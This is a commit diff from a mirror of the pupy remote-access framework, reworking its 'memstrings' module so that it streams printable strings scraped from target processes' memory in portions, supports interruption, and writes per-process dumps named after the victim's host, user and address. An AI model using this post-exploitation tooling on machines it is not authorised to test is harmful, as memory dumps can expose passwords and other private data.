mirror of https://github.com/n1nj4sec/pupy.git
Support termination and preserve memory during strings dump
This commit is contained in:
parent
c2d817e264
commit
4db302b048
|
@ -12,6 +12,8 @@ class MemStrings(PupyModule):
|
|||
"""
|
||||
dependencies=['memorpy', 'memstrings']
|
||||
|
||||
termevent = None
|
||||
|
||||
def init_argparse(self):
|
||||
self.arg_parser = PupyArgumentParser(prog='memstrings', description=self.__doc__)
|
||||
action = self.arg_parser.add_mutually_exclusive_group(required=True)
|
||||
|
@ -19,7 +21,7 @@ class MemStrings(PupyModule):
|
|||
help='Include processes with specified pids')
|
||||
action.add_argument('-n', '--name', nargs='*', default=[],
|
||||
help='Include processes with specified names')
|
||||
self.arg_parser.add_argument('-o', '--omit', type=str, default='isrx',
|
||||
self.arg_parser.add_argument('-x', '--omit', type=str, default='isrx',
|
||||
help='Avoid scanning: '
|
||||
'i - ranges with file mapping; '
|
||||
's - ranges with shared region; '
|
||||
|
@ -29,9 +31,12 @@ class MemStrings(PupyModule):
|
|||
help='Show only strings which are longer then specified length')
|
||||
self.arg_parser.add_argument('-m', '--max-length', type=int, default=51,
|
||||
help='Show only strings which are shorter then specified length')
|
||||
|
||||
self.arg_parser.add_argument('-P', '--portions', type=int, default=8192,
|
||||
help='Strings portion block')
|
||||
self.arg_parser.add_argument('-d', '--no-duplication', default=False, action='store_true',
|
||||
help='Enable strings deduplication (will increase memory usage)')
|
||||
self.arg_parser.add_argument(
|
||||
'-log',
|
||||
'-o', '--output',
|
||||
help='Save output to file. Omit output to stdout. You can use vars: '
|
||||
'%%h - host, %%m - mac, %%P - platform, %%u - user, %%a - ip address'
|
||||
'%%p - pid, %%n - name'
|
||||
|
@ -39,62 +44,70 @@ class MemStrings(PupyModule):
|
|||
|
||||
def run(self, args):
|
||||
targets = args.pid + args.name
|
||||
dump = self.client.conn.modules.memstrings.find_strings(
|
||||
targets,
|
||||
min_length=args.min_length,
|
||||
max_length=args.max_length,
|
||||
omit=args.omit
|
||||
)
|
||||
dump = obtain(dump)
|
||||
if not dump:
|
||||
self.error('No dumps received')
|
||||
return
|
||||
|
||||
self.success('Get {} dumps'.format(len(dump)))
|
||||
self.termevent = self.client.conn.modules.threading.Event()
|
||||
|
||||
log = None
|
||||
logs = {}
|
||||
|
||||
for pid, items in dump.iteritems():
|
||||
name = items.get('name')
|
||||
strings = items.get('strings')
|
||||
for pid, name, strings in self.client.conn.modules.memstrings.iterate_strings(
|
||||
targets,
|
||||
min_length=args.min_length,
|
||||
max_length=args.max_length,
|
||||
omit=args.omit,
|
||||
portions=args.portions,
|
||||
terminate=self.termevent,
|
||||
nodup=args.no_duplication,
|
||||
):
|
||||
|
||||
if args.log:
|
||||
log = args.log.replace(
|
||||
'%m', self.client.desc['macaddr']
|
||||
).replace(
|
||||
'%P', self.client.desc['platform']
|
||||
).replace(
|
||||
'%a', self.client.desc['address']
|
||||
).replace(
|
||||
'%h', self.client.desc['hostname'].replace(
|
||||
'..', '__'
|
||||
strings = obtain(strings)
|
||||
pid = str(pid) or '0'
|
||||
name = str(name) or ''
|
||||
|
||||
if not strings:
|
||||
self.error('No dumps received')
|
||||
return
|
||||
|
||||
if args.output:
|
||||
if not pid in logs:
|
||||
log = args.output.replace(
|
||||
'%m', self.client.desc['macaddr']
|
||||
).replace(
|
||||
'/', '_'
|
||||
'%P', self.client.desc['platform']
|
||||
).replace(
|
||||
'%a', self.client.desc['address']
|
||||
).replace(
|
||||
'%h', self.client.desc['hostname'].replace(
|
||||
'..', '__'
|
||||
).replace(
|
||||
'/', '_'
|
||||
)
|
||||
).replace(
|
||||
'%u', self.client.desc['user'].replace(
|
||||
'..', '__'
|
||||
).replace(
|
||||
'/', '_'
|
||||
)
|
||||
).replace(
|
||||
'%p', str(pid),
|
||||
).replace(
|
||||
'%n', name.replace(
|
||||
'..', '__'
|
||||
).replace(
|
||||
'/', '_'
|
||||
),
|
||||
)
|
||||
).replace(
|
||||
'%u', self.client.desc['user'].replace(
|
||||
'..', '__'
|
||||
).replace(
|
||||
'/', '_'
|
||||
)
|
||||
).replace(
|
||||
'%p', pid,
|
||||
).replace(
|
||||
'%n', name.replace(
|
||||
'..', '__'
|
||||
).replace(
|
||||
'/', '_'
|
||||
),
|
||||
)
|
||||
|
||||
dirname = os.path.dirname(log)
|
||||
if not os.path.exists(dirname):
|
||||
os.makedirs(dirname)
|
||||
dirname = os.path.dirname(log)
|
||||
if not os.path.exists(dirname):
|
||||
os.makedirs(dirname)
|
||||
|
||||
self.success('Dump {}:{} to {}'.format(name, pid, log))
|
||||
with open(log, 'w') as log:
|
||||
for s in strings:
|
||||
log.write(s+'\n')
|
||||
self.success('Dumping {}:{} -> {}'.format(name, pid, log))
|
||||
logs[pid] = open(log, 'a+')
|
||||
|
||||
for s in strings:
|
||||
logs[pid].write(s+'\n')
|
||||
|
||||
logs[pid].flush()
|
||||
|
||||
else:
|
||||
self.success('Strings {}:{}'.format(name, pid))
|
||||
|
@ -102,3 +115,10 @@ class MemStrings(PupyModule):
|
|||
self.stdout.write(s+'\n')
|
||||
|
||||
self.stdout.write('\n')
|
||||
|
||||
for log in logs.itervalues():
|
||||
log.close()
|
||||
|
||||
def interrupt(self):
|
||||
if self.termevent:
|
||||
self.termevent.set()
|
||||
|
|
|
@ -11,9 +11,9 @@ def try_int(x):
|
|||
except:
|
||||
return x
|
||||
|
||||
def find_strings(targets, min_length=4, max_length=51, omit='isxr'):
|
||||
def iterate_strings(targets, min_length=4, max_length=51, omit='isxr', portions=4096, nodup=True, terminate=None):
|
||||
if not targets:
|
||||
return {}
|
||||
return
|
||||
|
||||
if type(targets) == (str, int):
|
||||
targets = [ targets ]
|
||||
|
@ -24,26 +24,39 @@ def find_strings(targets, min_length=4, max_length=51, omit='isxr'):
|
|||
printable = re.compile('^[\x20-\x7e]{{{},{}}}$'.format(min_length, max_length))
|
||||
|
||||
for process in memorpy.Process.list():
|
||||
if terminate is not None and terminate.is_set():
|
||||
break
|
||||
|
||||
if not (
|
||||
os.path.basename(process.get('name')) in targets or process.get('pid') in targets
|
||||
):
|
||||
continue
|
||||
|
||||
strings = []
|
||||
results[process.get('pid')] = {
|
||||
'name': process.get('name'),
|
||||
'strings': strings
|
||||
}
|
||||
pid = process.get('pid')
|
||||
name = process.get('name')
|
||||
|
||||
mw = memorpy.MemWorker(pid=process.get('pid'))
|
||||
duplicates = set()
|
||||
for _, (cstring,) in mw.mem_search('([^\x00]+)', ftype='groups', optimizations=omit):
|
||||
if printable.match(cstring):
|
||||
if not cstring in duplicates:
|
||||
duplicates.add(cstring)
|
||||
strings.append(cstring)
|
||||
if terminate is not None and terminate.is_set():
|
||||
break
|
||||
|
||||
return results
|
||||
if printable.match(cstring):
|
||||
if nodup:
|
||||
if cstring in duplicates:
|
||||
continue
|
||||
|
||||
duplicates.add(cstring)
|
||||
|
||||
strings.append(cstring)
|
||||
if len(strings) >= portions:
|
||||
yield pid, name, strings
|
||||
strings = []
|
||||
|
||||
if strings:
|
||||
yield pid, name, strings
|
||||
strings = []
|
||||
|
||||
if __name__=="__main__":
|
||||
import sys
|
||||
|
|
Loading…
Reference in New Issue